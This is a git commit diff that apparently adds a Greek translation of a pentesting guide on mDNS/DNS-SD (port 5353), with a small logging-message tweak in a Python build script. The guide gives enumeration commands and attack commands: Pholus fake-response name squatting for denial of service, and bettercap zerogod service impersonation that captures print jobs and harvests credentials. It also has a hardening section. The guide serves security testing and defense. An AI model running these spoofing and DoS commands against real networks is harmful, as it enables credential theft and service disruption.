Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:16:48 +00:00
parent 4373e4c570
commit 4e6dc4637e
2 changed files with 119 additions and 27 deletions

View File

@ -65,7 +65,7 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()

View File

@ -2,53 +2,143 @@
{{#include ../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
## Βασικές Πληροφορίες
**Multicast DNS (mDNS)** επιτρέπει **λειτουργίες παρόμοιες με το DNS** εντός τοπικών δικτύων χωρίς την ανάγκη παραδοσιακού διακομιστή DNS. Λειτουργεί στην **UDP θύρα 5353** και επιτρέπει στις συσκευές να ανακαλύπτουν η μία την άλλη και τις υπηρεσίες τους, κάτι που παρατηρείται συχνά σε διάφορες συσκευές IoT. **DNS Service Discovery (DNS-SD)**, που χρησιμοποιείται συχνά παράλληλα με το mDNS, βοηθά στην αναγνώριση υπηρεσιών που είναι διαθέσιμες στο δίκτυο μέσω τυπικών ερωτημάτων DNS.
Το Multicast DNS (mDNS) επιτρέπει την επίλυση ονομάτων και την ανακάλυψη υπηρεσιών παρόμοια με το DNS μέσα σε έναν τοπικό σύνδεσμο χωρίς έναν unicast DNS server. Χρησιμοποιεί UDP/5353 και τις διευθύνσεις multicast 224.0.0.251 (IPv4) και FF02::FB (IPv6). Η Ανακάλυψη Υπηρεσιών DNS (DNS-SD, που χρησιμοποιείται συνήθως με το mDNS) παρέχει έναν τυποποιημένο τρόπο για την απαρίθμηση και την περιγραφή υπηρεσιών μέσω των εγγραφών PTR, SRV και TXT.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **Λειτουργία του mDNS**
Λεπτομέρειες πρωτοκόλλου που θα εκμεταλλευτείτε συχνά κατά τη διάρκεια επιθέσεων:
- Τα ονόματα στη ζώνη .local επιλύονται μέσω mDNS.
- Το bit QU (Query Unicast) μπορεί να ζητήσει unicast απαντήσεις ακόμη και για multicast ερωτήσεις.
- Οι υλοποιήσεις θα πρέπει να αγνοούν πακέτα που δεν προέρχονται από τον τοπικό σύνδεσμο; ορισμένες στοίβες εξακολουθούν να τα αποδέχονται.
- Η διερεύνηση/ανακοίνωση επιβάλλει μοναδικά ονόματα host/υπηρεσιών; η παρέμβαση εδώ δημιουργεί συνθήκες DoS/“name squatting”.
Σε περιβάλλοντα χωρίς έναν τυπικό διακομιστή DNS, το mDNS επιτρέπει στις συσκευές να επιλύουν ονόματα τομέα που τελειώνουν σε **.local** ερωτώντας τη διεύθυνση multicast **224.0.0.251** (IPv4) ή **FF02::FB** (IPv6). Σημαντικές πτυχές του mDNS περιλαμβάνουν μια τιμή **Time-to-Live (TTL)** που υποδεικνύει την εγκυρότητα της εγγραφής και ένα **QU bit** που διακρίνει μεταξύ unicast και multicast ερωτήσεων. Από πλευράς ασφάλειας, είναι κρίσιμο για τις υλοποιήσεις mDNS να επαληθεύουν ότι η διεύθυνση προέλευσης του πακέτου ευθυγραμμίζεται με το τοπικό υποδίκτυο.
## Μοντέλο υπηρεσίας DNS-SD
### **Λειτουργία του DNS-SD**
Οι υπηρεσίες αναγνωρίζονται ως _<service>._tcp ή _<service>._udp κάτω από .local, π.χ. _ipp._tcp.local (εκτυπωτές), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), κ.λπ. Ανακαλύψτε τύπους με _services._dns-sd._udp.local, στη συνέχεια επιλύστε τις ανακαλυφθείσες περιπτώσεις σε SRV/TXT/A/AAAA.
Το DNS-SD διευκολύνει την ανακάλυψη δικτυακών υπηρεσιών ερωτώντας για εγγραφές δείκτη (PTR) που αντιστοιχούν σε τύπους υπηρεσιών και τις περιπτώσεις τους. Οι υπηρεσίες αναγνωρίζονται χρησιμοποιώντας ένα πρότυπο **\_\<Service>.\_tcp ή \_\<Service>.\_udp** εντός του τομέα **.local**, οδηγώντας στην ανακάλυψη αντίστοιχων **SRV** και **TXT records** που παρέχουν λεπτομερείς πληροφορίες για την υπηρεσία.
## Δικτυακή Εξερεύνηση και Αρίθμηση
### **Εξερεύνηση Δικτύου**
#### **Χρήση του nmap**
Μια χρήσιμη εντολή για σάρωση του τοπικού δικτύου για υπηρεσίες mDNS είναι:
- nmap σάρωση στόχου (άμεσο mDNS σε έναν host):
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
Αυτή η εντολή βοηθά στην αναγνώριση ανοιχτών θυρών mDNS και των υπηρεσιών που διαφημίζονται μέσω αυτών.
#### **Δικτυακή Αρίθμηση με το Pholus**
Για να στείλετε ενεργά αιτήματα mDNS και να καταγράψετε την κίνηση, το εργαλείο **Pholus** μπορεί να χρησιμοποιηθεί ως εξής:
- nmap ανακάλυψη broadcast (ακούστε το τμήμα και αριθμήστε όλους τους τύπους/περιπτώσεις DNS-SD):
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browse (Linux):
```bash
# Λίστα τύπων υπηρεσιών
avahi-browse -bt _services._dns-sd._udp
# Περιήγηση σε όλες τις υπηρεσίες και επίλυση σε host/port
avahi-browse -art
```
- Apple dns-sd (macOS):
```bash
# Περιήγηση σε όλες τις υπηρεσίες HTTP
dns-sd -B _http._tcp
# Αρίθμηση τύπων υπηρεσιών
dns-sd -B _services._dns-sd._udp
# Επίλυση μιας συγκεκριμένης περίπτωσης σε SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
```
- Καταγραφή πακέτων με tshark:
```bash
# Ζωντανή καταγραφή
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Μόνο ερωτήσεις λίστας υπηρεσιών DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
Συμβουλή: Ορισμένοι περιηγητές/WebRTC χρησιμοποιούν προσωρινά mDNS ονόματα για να κρύψουν τοπικές διευθύνσεις IP. Εάν δείτε τυχαίους υποψηφίους random-UUID.local στο δίκτυο, επιλύστε τους με mDNS για να μεταβείτε σε τοπικές διευθύνσεις IP.
## Επιθέσεις
### **Εκμετάλλευση mDNS Probing**
### Παρέμβαση διερεύνησης ονόματος mDNS (DoS / name squatting)
Ένα διακυβερνητικό μέσο περιλαμβάνει την αποστολή ψευδών απαντήσεων σε mDNS probes, υποδεικνύοντας ότι όλα τα πιθανά ονόματα είναι ήδη σε χρήση, εμποδίζοντας έτσι τις νέες συσκευές να επιλέξουν ένα μοναδικό όνομα. Αυτό μπορεί να εκτελεστεί χρησιμοποιώντας:
Κατά τη διάρκεια της φάσης διερεύνησης, ένας host ελέγχει την μοναδικότητα του ονόματος. Η απάντηση με ψευδείς συγκρούσεις τον αναγκάζει να επιλέξει νέα ονόματα ή να αποτύχει. Αυτό μπορεί να καθυστερήσει ή να αποτρέψει την καταχώρηση και ανακάλυψη υπηρεσιών.
Παράδειγμα με Pholus:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
Αυτή η τεχνική μπλοκάρει αποτελεσματικά τις νέες συσκευές από το να καταχωρούν τις υπηρεσίες τους στο δίκτυο.
### Υπηρεσία spoofing και impersonation (MitM)
**Συνοψίζοντας**, η κατανόηση της λειτουργίας του mDNS και του DNS-SD είναι κρίσιμη για τη διαχείριση και την ασφάλεια του δικτύου. Εργαλεία όπως το **nmap** και το **Pholus** προσφέρουν πολύτιρες πληροφορίες σχετικά με τις τοπικές υπηρεσίες δικτύου, ενώ η επίγνωση των πιθανών ευπαθειών βοηθά στην προστασία από επιθέσεις.
Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) για να αναγκάσετε τους πελάτες να συνδεθούν σε εσάς. Αυτό είναι ιδιαίτερα χρήσιμο για:
- Capture documents by spoofing _ipp._tcp or _printer._tcp.
- Lure clients to HTTP/HTTPS services to harvest tokens/cookies or deliver payloads.
- Combine with NTLM relay techniques when Windows clients negotiate auth to spoofed services.
### Spoofing/MitM
With bettercaps zerogod module (mDNS/DNS-SD spoofer/impersonator):
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να πραγματοποιήσετε ένα **MitM** στην **επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή**. Μπορεί να είστε σε θέση να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμα και διαπιστευτήρια (Windows authentication).\
Για περισσότερες πληροφορίες ελέγξτε:
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
Επίσης δείτε τις γενικές ροές spoofing LLMNR/NBNS/mDNS/WPAD και σύλληψης/αναμετάδοσης διαπιστευτηρίων:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Σημειώσεις σχετικά με πρόσφατα ζητήματα υλοποίησης (χρήσιμες για DoS/επιμονή κατά τη διάρκεια εμπλοκών)
- Τα σφάλματα Avahi reachable-assertion και D-Bus crash (2023) μπορούν να τερματίσουν το avahi-daemon σε διανομές Linux (π.χ. CVE-2023-38469..38473, CVE-2023-1981), διαταράσσοντας την ανακάλυψη υπηρεσιών στους στόχους μέχρι την επανεκκίνηση.
- Το DoS του mDNS gateway του Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) επιτρέπει στους γειτονικούς επιτιθέμενους να προκαλέσουν υψηλή χρήση CPU και αποσύνδεση APs. Εάν συναντήσετε ένα mDNS gateway μεταξύ VLANs, να είστε προσεκτικοί σχετικά με τη σταθερότητά του υπό κακώς διαμορφωμένο ή υψηλής ταχύτητας mDNS.
## Αμυντικές σκέψεις και OPSEC
- Όρια τμημάτων: Μην δρομολογείτε 224.0.0.251/FF02::FB μεταξύ ζωνών ασφαλείας εκτός αν απαιτείται ρητά ένα mDNS gateway. Εάν πρέπει να γεφυρώσετε την ανακάλυψη, προτιμήστε τις λίστες επιτρεπόμενων και τους περιορισμούς ρυθμού.
- Windows endpoints/servers:
- Για να απενεργοποιήσετε σίγουρα την επίλυση ονομάτων μέσω mDNS, ρυθμίστε την τιμή μητρώου και επανεκκινήστε:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- Σε διαχειριζόμενα περιβάλλοντα, απενεργοποιήστε τον ενσωματωμένο κανόνα “mDNS (UDP-In)” του Windows Defender Firewall (τουλάχιστον στο προφίλ Domain) για να αποτρέψετε την επεξεργασία εισερχόμενου mDNS διατηρώντας τη λειτουργικότητα οικιακής/περιπλανώμενης σύνδεσης.
- Σε νεότερες εκδόσεις των Windows 11/GPO templates, χρησιμοποιήστε την πολιτική “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” και ρυθμίστε την σε Disabled.
- Linux (Avahi):
- Περιορίστε την δημοσίευση όταν δεν είναι απαραίτητη: ρυθμίστε `disable-publishing=yes`, και περιορίστε τις διεπαφές με `allow-interfaces=` / `deny-interfaces=` στο `/etc/avahi/avahi-daemon.conf`.
- Σκεφτείτε το `check-response-ttl=yes` και αποφύγετε το `enable-reflector=yes` εκτός αν είναι αυστηρά απαραίτητο; προτιμήστε τις λίστες επιτρεπόμενων `reflect-filters=` κατά την αντανάκλαση.
- macOS: Περιορίστε το εισερχόμενο mDNS σε τείχη προστασίας host/network όταν η ανακάλυψη Bonjour δεν είναι απαραίτητη για συγκεκριμένα υποδίκτυα.
- Παρακολούθηση: Ειδοποιήστε για ασυνήθιστες αυξήσεις σε ερωτήματα `_services._dns-sd._udp.local` ή ξαφνικές αλλαγές σε SRV/TXT κρίσιμων υπηρεσιών; αυτά είναι δείκτες spoofing ή μίμησης υπηρεσιών.
## Γρήγορη αναφορά εργαλείων
- nmap NSE: `dns-service-discovery` και `broadcast-dns-service-discovery`.
- Pholus: ενεργή σάρωση, αντίστροφη σάρωση mDNS, βοηθήματα DoS και spoofing.
```bash
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod: ανακαλύψτε, αποθηκεύστε, διαφημίστε και μιμηθείτε υπηρεσίες mDNS/DNS-SD (δείτε παραδείγματα παραπάνω).
## Spoofing/MitM
Η πιο ενδιαφέρουσα επίθεση που μπορείτε να εκτελέσετε μέσω αυτής της υπηρεσίας είναι να εκτελέσετε ένα MitM στην επικοινωνία μεταξύ του πελάτη και του πραγματικού διακομιστή. Μπορείτε να αποκτήσετε ευαίσθητα αρχεία (MitM την επικοινωνία με τον εκτυπωτή) ή ακόμη και διαπιστευτήρια (Windows authentication).\
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -57,5 +147,7 @@ sudo python pholus.py [network interface] -afre -stimeout 1000
## Αναφορές
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}